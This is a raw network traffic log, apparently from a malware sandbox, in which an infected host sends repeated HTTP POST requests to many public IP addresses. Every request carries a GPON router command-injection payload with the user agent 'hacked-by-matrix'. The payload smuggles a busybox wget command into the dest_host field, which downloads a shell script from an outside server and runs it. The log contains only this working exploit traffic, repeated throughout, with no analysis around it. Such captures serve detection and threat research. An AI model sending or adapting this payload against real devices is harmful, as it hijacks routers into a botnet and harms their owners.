Mar 21, 2024 05:18:33.905966043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.13	59956	2.189.61.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906029940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.13	59058	79.69.213.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906047106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.13	59584	79.169.170.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906088114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.13	51988	212.116.182.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906140089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.13	57404	5.170.106.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906172991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.13	44036	2.183.101.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906230927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.13	39514	94.89.248.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906258106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.13	58170	118.234.57.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906280041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.13	34232	109.40.52.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906338930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.13	48814	37.177.55.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906342030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.13	38734	178.164.220.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906390905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.13	37790	109.146.69.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906454086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.13	39928	210.245.184.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906475067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.13	43600	5.207.255.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906496048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.13	39144	118.190.227.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906557083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.13	56550	79.180.236.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906590939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.13	36816	210.163.36.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906647921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.13	46298	42.87.222.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906672001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.13	37232	79.249.35.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906706095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.13	60500	42.220.156.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906761885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.13	52788	212.178.93.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906763077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.13	34000	2.182.143.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906806946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.13	43790	79.108.23.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906842947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.13	49658	5.124.80.30	443

Timestamp	Bytes transferred	Direction	Data
